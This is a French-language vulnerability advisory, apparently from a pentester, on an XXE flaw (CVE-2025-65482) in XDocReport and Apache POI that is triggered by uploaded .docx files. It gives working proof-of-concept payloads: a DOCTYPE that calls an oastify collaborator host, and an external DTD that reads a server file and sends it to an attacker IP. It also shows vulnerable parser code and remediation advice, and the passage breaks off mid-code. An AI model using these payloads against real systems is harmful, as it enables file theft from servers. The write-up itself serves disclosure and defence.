
CVE-2025-65482 (XXE)
Injection d'entité externe XML
Aperçu de la vulnérabilité
Impact commercial
Le site web de gestion des ressources humaines permet aux utilisateurs de télécharger des fichiers .docx sur le système. Lors du traitement, l'application utilise la bibliothèque fr.opensagres.xdocreport.document.docx qui contient une vulnérabilité XXE lorsqu'elle traite le fichier .docx de l'utilisateur via SAXParser.
fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)
La cause est l'utilisation d'Apache POI.
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
C'est-à-dire qu'Apache POI est très profondément intégré, dans le module :
org.apache.poi.xwpf.converter.core
L'erreur se produit car XDocReport (dans le module fr.opensagres.xdocreport.document.docx) utilise Apache POI pour lire les fichiers .docx, et POI utilise le SAXParser par défaut de Java sans désactiver les fonctionnalités permettant le traitement des DTD et des entités externes. → Cela permet à un attaquant d'insérer un DOCTYPE avec une entité pointant vers l'extérieur (SYSTEM "http://...") ou vers un fichier interne (file:///...) → générant une XXE.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
modifiez avec un payload outbound pour le collabrator comme suit :
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130. avec le contenu du fichier vcspentest.dtd comme suit :<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
modifiez le fichier word/document.xml dans le fichier .docx avec le contenu suivant pour charger le dtd externe depuis la machine wsl :
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx et téléchargez-le sur le serveur pour traitementD:/vcspentest.txt sur le serveur cibleDans le code ou au niveau de la configuration du parseur XML, il est nécessaire de désactiver toutes les fonctionnalités liées aux DTD et aux entités externes.
correction similaire à ce code
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);